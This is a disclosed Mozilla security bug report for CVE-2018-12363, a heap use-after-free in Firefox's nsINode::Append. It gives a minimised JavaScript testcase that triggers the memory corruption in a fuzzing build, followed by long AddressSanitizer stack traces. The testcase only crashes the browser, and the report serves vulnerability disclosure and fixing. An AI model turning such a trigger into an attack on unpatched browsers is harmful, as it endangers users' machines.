Skip to content
Memory corruption Disclosed report Advanced CVE-2018-12363

heap-use-after-free in nsINode::Append

Nils Follow

Originally disclosed on Mozilla

  • Fixed in 6 days
  • Paid in 4 months
  • Disclosed after 6 days

Created attachment 8981095 crash.html (minimised testcase)

The following testcase crashes the latest ASAN build of Firefox 62.0a1 (SourceStamp=043e4ab6e72469ed8121f4da98dcdfef983a49d9). It requires a fuzzing build (--enable-fuzzing) and the pref fuzzing.enabled=true

<script> function start() { o13=(new DOMParser()).parseFromString("<html xmlns='http://www.w3.org/1999/xhtml'><s></s></html>",'text/html'); o17=o13.all[3]; o54=(new DOMParser()).parseFromString("<html xmlns='http://www.w3.org/1999/xhtml'><input></input></html>",'text/html'); o58=o54.all[3]; o60=(new DOMParser()).parseFromString("<html xmlns='http://www.w3.org/1999/xhtml'><li></li></html>",'text/html'); o61=o60.all[0]; o66=(new DOMParser()).parseFromString("<html xmlns='http://www.w3.org/1999/xhtml'><tbody></tbody></html>",'text/html'); o17.addEventListener('DOMNodeRemoved',fun0); try{o72=o66.prepend(o61,undefined);}catch(e){} o77=document.createElementNS('http://www.w3.org/1999/xhtml','iframe'); o61.appendChild(o77); o79=o77.cloneNode(true); document.documentElement.append(o17); } var count = 0; function fun0() { count++; if(count==1) { o79.append(o58,o17,undefined); } else if(count==2) { document.documentElement.prepend(o79); o149=o58.parentNode; document.documentElement.append(o149); document.documentElement.prepend(o17,undefined); o149=null;o58=null;o17=null;o79=null;o66=null;o13=null;o54=null;o60=null;o77=null; FuzzingFunctions.garbageCollect();FuzzingFunctions.cycleCollect();FuzzingFunctions.garbageCollect();FuzzingFunctions.cycleCollect(); } else if(count==4) { document.documentElement.prepend(undefined,o61); } } </script> <body onload="start()"></body>

ASAN output:

==12349==ERROR: AddressSanitizer: heap-use-after-free on address 0x61d0002671c8 at pc 0x7fcb7cf962d0 bp 0x7ffc143ad2b0 sp 0x7ffc143ad2a8 READ of size 8 at 0x61d0002671c8 thread T0 (file:// Content) #0 0x7fcb7cf962cf in CreateTextNode /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:5763:44 #1 0x7fcb7cf962cf in GetNodeFromNodeOrString(mozilla::dom::OwningNodeOrString const&, nsIDocument*) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:1429 #2 0x7fcb7cf59ac2 in ConvertNodesOrStringsIntoNode(mozilla::dom::Sequencemozilla::dom::OwningNodeOrString const&, nsIDocument*, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:1453:35 #3 0x7fcb7cf5ac33 in nsINode::Append(mozilla::dom::Sequencemozilla::dom::OwningNodeOrString const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:1638:5 #4 0x7fcb7ec79dd6 in mozilla::dom::ElementBinding::append(JSContext*, JS::Handle<JSObject*>, mozilla::dom::Element*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/ElementBinding.cpp:5175:9 #5 0x7fcb7f381b81 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3280:13 #6 0x7fcb85c4c157 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/JSContext-inl.h:280:15 #7 0x7fcb85c4c157 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:468 #8 0x7fcb85c36fa5 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:12 #9 0x7fcb85c36fa5 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3086 #10 0x7fcb85c1d4c6 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:418:12 #11 0x7fcb85c4bed5 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:490:15 #12 0x7fcb85c4d152 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:536:10 #13 0x7fcb86794a5a in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2981:12 #14 0x7fcb7eb2ed05 in mozilla::dom::EventListener::HandleEvent(JSContext*, JS::HandleJS::Value, mozilla::dom::Event&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventListenerBinding.cpp:51:8 #15 0x7fcb7faaa64e in HandleEvent<mozilla::dom::EventTarget > /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventListenerBinding.h:66:12 #16 0x7fcb7faaa64e in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1121 #17 0x7fcb7faabddb in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1291:20 #18 0x7fcb7fa960e7 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:528:16 #19 0x7fcb7fa99ee3 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:961:9 #20 0x7fcb7cab1cc2 in nsContentUtils::MaybeFireNodeRemoved(nsINode, nsINode*) /builds/worker/workspace/build/src/dom/base/nsContentUtils.cpp:4776:5 #21 0x7fcb7cf5bc71 in nsINode::ReplaceOrInsertBefore(bool, nsINode*, nsINode*, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:1926:7 #22 0x7fcb7cf5ac5f in InsertBefore /builds/worker/workspace/build/src/dom/base/nsINode.h:1847:12 #23 0x7fcb7cf5ac5f in AppendChild /builds/worker/workspace/build/src/dom/base/nsINode.h:1851 #24 0x7fcb7cf5ac5f in nsINode::Append(mozilla::dom::Sequencemozilla::dom::OwningNodeOrString const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:1643 #25 0x7fcb7ec79dd6 in mozilla::dom::ElementBinding::append(JSContext*, JS::Handle<JSObject*>, mozilla::dom::Element*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/ElementBinding.cpp:5175:9 #26 0x7fcb7f381b81 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3280:13 #27 0x7fcb85c4c157 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/JSContext-inl.h:280:15 #28 0x7fcb85c4c157 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:468 #29 0x7fcb85c36fa5 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:12 #30 0x7fcb85c36fa5 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3086 #31 0x7fcb85c1d4c6 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:418:12 #32 0x7fcb85c4bed5 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:490:15 #33 0x7fcb85c4d152 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:536:10 #34 0x7fcb86794a5a in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2981:12 #35 0x7fcb7eb298be in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::HandleJS::Value, mozilla::dom::Event&, JS::MutableHandleJS::Value, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:264:37 #36 0x7fcb7fae611a in void mozilla::dom::EventHandlerNonNull::Call<nsISupports*>(nsISupports* const&, mozilla::dom::Event&, JS::MutableHandleJS::Value, mozilla::ErrorResult&, char const*, mozilla::dom::CallbackObject::ExceptionHandling, JSCompartment*) /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:363:12 #37 0x7fcb7fae3a84 in mozilla::JSEventHandler::HandleEvent(mozilla::dom::Event*) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:214:12 #38 0x7fcb7faaa69d in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1124:52 #39 0x7fcb7faabddb in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1291:20 #40 0x7fcb7fa960e7 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:528:16 #41 0x7fcb7fa99ee3 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:961:9 #42 0x7fcb81da5378 in nsDocumentViewer::LoadComplete(nsresult) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1166:7 #43 0x7fcb84f06cc2 in nsDocShell::EndPageLoad(nsIWebProgress, nsIChannel*, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7169:21 #44 0x7fcb84f030e9 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6962:7 #45 0x7fcb84f0a8ef in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp #46 0x7fcb7bacbb97 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1309:3 #47 0x7fcb7bacac1a in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:852:14 #48 0x7fcb7bac77f8 in nsDocLoader::DocLoaderIsEmpty(bool) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:741:9 #49 0x7fcb7bac97bc in nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:627:5 #50 0x7fcb7baca7dc in non-virtual thunk to nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp #51 0x7fcb79e825fa in mozilla::net::nsLoadGroup::RemoveRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/netwerk/base/nsLoadGroup.cpp:629:28 #52 0x7fcb7ceaa74a in DoUnblockOnload /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:8340:18 #53 0x7fcb7ceaa74a in nsDocument::UnblockOnload(bool) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:8262 #54 0x7fcb7ce8afd4 in nsIDocument::DispatchContentLoadedEvents() /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:5224:3 #55 0x7fcb7cf9d314 in applyImpl<nsIDocument, void (nsIDocument::)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1165:12 #56 0x7fcb7cf9d314 in apply<nsIDocument, void (nsIDocument::)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1171 #57 0x7fcb7cf9d314 in mozilla::detail::RunnableMethodImpl<nsIDocument*, void (nsIDocument::)(), true, (mozilla::RunnableKind)0>::Run() /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1216 #58 0x7fcb79c77821 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:337:32 #59 0x7fcb79c96146 in nsThread::ProcessNextEvent(bool, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1090:14 #60 0x7fcb79cb2080 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:519:10 #61 0x7fcb7ab9364a in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21 #62 0x7fcb7aae6cf9 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #63 0x7fcb7aae6cf9 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #64 0x7fcb7aae6cf9 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #65 0x7fcb8170643a in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:157:27 #66 0x7fcb859637bb in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:893:22 #67 0x7fcb7aae6cf9 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #68 0x7fcb7aae6cf9 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #69 0x7fcb7aae6cf9 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #70 0x7fcb85963180 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:719:34 #71 0x4f50dc in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:50:30 #72 0x4f50dc in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:282 #73 0x7fcb999cc82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #74 0x42476c in _start (/fuzzer3/firefox/firefox+0x42476c)

0x61d0002671c8 is located 328 bytes inside of 1968-byte region [0x61d000267080,0x61d000267830) freed by thread T0 (file:// Content) here: #0 0x4c5172 in __interceptor_free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:68:3 #1 0x7fcb79b1d730 in SnowWhiteKiller::~SnowWhiteKiller() /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2729:25 #2 0x7fcb79b25b1f in FreeSnowWhite /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2917:3 #3 0x7fcb79b25b1f in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3925 #4 0x7fcb79b24fad in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3746:9 #5 0x7fcb79b28ec2 in nsCycleCollector_collect(nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4315:21 #6 0x7fcb7cf725de in nsJSContext::CycleCollectNow(nsICycleCollectorListener*) /builds/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1488:3 #7 0x7fcb7eda41da in mozilla::dom::FuzzingFunctionsBinding::cycleCollect(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/FuzzingFunctionsBinding.cpp:54:3 #8 0x7fcb85c4c157 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/JSContext-inl.h:280:15 #9 0x7fcb85c4c157 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:468 #10 0x7fcb85c36fa5 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:12 #11 0x7fcb85c36fa5 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3086 #12 0x7fcb85c1d4c6 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:418:12 #13 0x7fcb85c4bed5 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:490:15 #14 0x7fcb85c4d152 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:536:10 #15 0x7fcb86794a5a in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2981:12 #16 0x7fcb7eb2ed05 in mozilla::dom::EventListener::HandleEvent(JSContext*, JS::HandleJS::Value, mozilla::dom::Event&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventListenerBinding.cpp:51:8 #17 0x7fcb7faaa64e in HandleEvent<mozilla::dom::EventTarget > /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventListenerBinding.h:66:12 #18 0x7fcb7faaa64e in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1121 #19 0x7fcb7faabddb in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1291:20 #20 0x7fcb7fa960e7 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:528:16 #21 0x7fcb7fa99ee3 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:961:9 #22 0x7fcb7cab1cc2 in nsContentUtils::MaybeFireNodeRemoved(nsINode, nsINode*) /builds/worker/workspace/build/src/dom/base/nsContentUtils.cpp:4776:5 #23 0x7fcb7cf5bc71 in nsINode::ReplaceOrInsertBefore(bool, nsINode*, nsINode*, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:1926:7 #24 0x7fcb7cf59adc in InsertBefore /builds/worker/workspace/build/src/dom/base/nsINode.h:1847:12 #25 0x7fcb7cf59adc in AppendChild /builds/worker/workspace/build/src/dom/base/nsINode.h:1851 #26 0x7fcb7cf59adc in ConvertNodesOrStringsIntoNode(mozilla::dom::Sequencemozilla::dom::OwningNodeOrString const&, nsIDocument*, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:1454 #27 0x7fcb7cf5ac33 in nsINode::Append(mozilla::dom::Sequencemozilla::dom::OwningNodeOrString const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:1638:5 #28 0x7fcb7ec79dd6 in mozilla::dom::ElementBinding::append(JSContext*, JS::Handle<JSObject*>, mozilla::dom::Element*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/ElementBinding.cpp:5175:9 #29 0x7fcb7f381b81 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3280:13 #30 0x7fcb85c4c157 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/JSContext-inl.h:280:15 #31 0x7fcb85c4c157 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:468 #32 0x7fcb85c36fa5 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:12 #33 0x7fcb85c36fa5 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3086 #34 0x7fcb85c1d4c6 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:418:12 #35 0x7fcb85c4bed5 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:490:15 #36 0x7fcb85c4d152 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:536:10 #37 0x7fcb86794a5a in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2981:12

previously allocated by thread T0 (file:// Content) here: #0 0x4c54b3 in malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:88:3 #1 0x4f5f7d in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:70:17 #2 0x7fcb7fe7e170 in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:156:12 #3 0x7fcb7fe7e170 in NS_NewHTMLDocument(nsIDocument**, bool) /builds/worker/workspace/build/src/dom/html/nsHTMLDocument.cpp:156 #4 0x7fcb811ea681 in NS_NewDOMDocument(nsIDocument**, nsTSubstring<char16_t> const&, nsTSubstring<char16_t> const&, mozilla::dom::DocumentType*, nsIURI*, nsIURI*, nsIPrincipal*, bool, nsIGlobalObject*, DocumentFlavor) /builds/worker/workspace/build/src/dom/xml/XMLDocument.cpp:86:10 #5 0x7fcb7cc74d09 in mozilla::dom::DOMParser::SetUpDocument(DocumentFlavor, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/DOMParser.cpp:312:17 #6 0x7fcb7cc747f6 in mozilla::dom::DOMParser::ParseFromString(nsTSubstring<char16_t> const&, mozilla::dom::SupportedType, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/DOMParser.cpp:68:38 #7 0x7fcb7eab0708 in mozilla::dom::DOMParserBinding::parseFromString(JSContext*, JS::Handle<JSObject*>, mozilla::dom::DOMParser*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/DOMParserBinding.cpp:79:49 #8 0x7fcb7f381b81 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3280:13 #9 0x7fcb85c4c157 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/JSContext-inl.h:280:15 #10 0x7fcb85c4c157 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:468 #11 0x7fcb85c36fa5 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:12 #12 0x7fcb85c36fa5 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3086 #13 0x7fcb85c1d4c6 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:418:12 #14 0x7fcb85c4bed5 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:490:15 #15 0x7fcb85c4d152 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:536:10 #16 0x7fcb86794a5a in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2981:12 #17 0x7fcb7eb298be in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::HandleJS::Value, mozilla::dom::Event&, JS::MutableHandleJS::Value, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:264:37 #18 0x7fcb7fae611a in void mozilla::dom::EventHandlerNonNull::Call<nsISupports*>(nsISupports* const&, mozilla::dom::Event&, JS::MutableHandleJS::Value, mozilla::ErrorResult&, char const*, mozilla::dom::CallbackObject::ExceptionHandling, JSCompartment*) /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:363:12 #19 0x7fcb7fae3a84 in mozilla::JSEventHandler::HandleEvent(mozilla::dom::Event*) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:214:12 #20 0x7fcb7faaa69d in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1124:52 #21 0x7fcb7faabddb in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1291:20 #22 0x7fcb7fa960e7 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:528:16 #23 0x7fcb7fa99ee3 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:961:9 #24 0x7fcb81da5378 in nsDocumentViewer::LoadComplete(nsresult) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1166:7 #25 0x7fcb84f06cc2 in nsDocShell::EndPageLoad(nsIWebProgress, nsIChannel*, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7169:21 #26 0x7fcb84f030e9 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6962:7 #27 0x7fcb84f0a8ef in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp #28 0x7fcb7bacbb97 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1309:3 #29 0x7fcb7bacac1a in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:852:14 #30 0x7fcb7bac77f8 in nsDocLoader::DocLoaderIsEmpty(bool) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:741:9 #31 0x7fcb7bac97bc in nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:627:5 #32 0x7fcb7baca7dc in non-virtual thunk to nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp

